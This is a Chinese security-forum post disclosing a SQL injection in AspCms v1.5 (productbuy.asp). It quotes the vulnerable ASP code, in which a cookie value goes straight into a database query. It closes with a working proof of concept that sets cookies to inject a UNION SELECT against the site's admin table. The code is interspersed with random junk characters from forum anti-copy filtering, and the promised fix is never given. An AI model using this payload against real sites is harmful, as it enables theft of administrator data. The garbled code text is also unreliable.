AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
( F+ |+ e4 h  R# X1 P: R, `$ E废话不多说，看代码：
# H4 `! B3 ?  C+ e
<%
  M9 X, x4 _# J) t3 m" V7 z, e$ S, q
if action = "buy" then

; d; r4 G; a. A2 g        addOrder()
, R$ C1 R6 m6 g( [% x9 n0 i
else
1 ~, A8 P+ q4 z% ~9 R8 M
8 F+ ]9 @" A& H* ?" A        echoContent()
, h) C5 m/ H: K0 D- M! w2 e4 `3 F
end if



+ W3 l1 g- d! j8 e' K& r9 L6 f" a……略过

% U# e+ s* P5 p  w- O) y. V
# }2 d2 T( l1 N7 l$ \
Sub echoContent()

        dim id

        id=getForm("id","get")
6 _! ^. p8 d) |: L
7 k/ q2 r0 p% [- z/ O5 O        

        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"
3 r) X; B, f0 P5 T- V! `& G
        

& K5 Q4 X. R4 r4 |2 K* E" ?        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
0 Q6 d( J1 P: b* B
        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
9 N9 H: o, e; h/ J: z4 U' Y
        Dim templatePath,tempStr

        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"


4 H$ c; k* }& R3 u
& U* S5 [% V( M: f1 n( R: F        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
1 X9 a2 b6 d- m, B  p' v  q
$ b3 R& `* ?2 D) P% _7 Q        selectproduct=rsObj(0)

        

! Q5 C1 L9 [' N6 n- ]8 l; G        Dim linkman,gender,phone,mobile,email,qq,address,postcode
# ]. G2 M) d/ d* R' w% ?. }
; F  `$ {/ z3 Z/ |& l  |, @        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0
; h" d' ?0 E3 }/ u+ L' ^
        if rCookie("loginstatus")=1 then  

                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
. `! p' O; S( k0 N
                linkman=rsObj("truename")

                gender=rsObj("gender")
: P2 F- ~  r1 _' q: ~# t: X7 u- W7 c
9 H3 }; D4 w5 |) p2 \3 d                phone=rsObj("phone")
! ~( k$ a( e' z
4 E  q* t" D  d- \9 X" {' l' Z& O                mobile=rsObj("mobile")
& X+ b6 k" N: P0 }8 B
                email=rsObj("email")

7 h3 V3 B% X* C" ?" `! L                qq=rsObj("qq")
# p2 x9 _1 r8 H9 i) V
                address=rsObj("address")
$ [+ x2 s3 @( Q# Q1 d
                postcode=rsObj("postcode")
# G% {) O+ J  e4 z6 x
        else
& ]) M8 N# u+ S; p  Y$ n9 ^& M
! R" V4 c: l# G3 c* h; m                gender=1

        end if
+ C1 e* X4 N! Q7 G( Y2 P$ v* K
$ b0 h) n  _0 [; X7 {        rsObj.close()
% o) h4 h9 I) g7 z+ O8 s- y% Z
               

: K$ y4 v) g2 A7 w        with templateObj

" ?+ r; s: K  o# T" m, f                .content=loadFile(templatePath)        
- X) \: h! ^2 ~2 [  l  o! q
                .parseHtml()
* ]9 j+ S0 z- L+ e
                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)

* n6 |* Z! J! P& C3 I. O  [! j                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
1 I. n: a0 m4 j' |
, v2 ^+ o: n1 {2 s                .content=replaceStr(.content,"[aspcms:gender]",gender)               

' s* x7 `& W* O( b! ?0 z, `                .content=replaceStr(.content,"[aspcms:phone]",phone)               

$ J3 P% z% s  K& _7 e" w+ T                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               

: D1 i6 y& b+ t                .content=replaceStr(.content,"[aspcms:email]",email)                        
$ Y( g& i) ~( q; \
% U2 f: U% V3 t) c1 r: K                .content=replaceStr(.content,"[aspcms:qq]",qq)                        

                .content=replaceStr(.content,"[aspcms:address]",address)                        
: H& A3 v+ n5 _# w5 S
9 A$ t5 C- r( x+ b( U& u) F                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
) L. _( `" G6 |% P7 Y
3 O  B4 W9 e' z# j                .parseCommon()                 

                echo .content

        end with

1 T/ @7 B3 g6 {  E9 t2 K        set templateobj =nothing : terminateAllObjects
, L  x5 X- }! l1 z0 X& C# ~6 r" ^
  v) t) G2 M! B( t0 a9 H, B- gEnd Sub
漏洞很明显，没啥好说的
poc：

8 q4 b% @- P. b8 t2 {javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​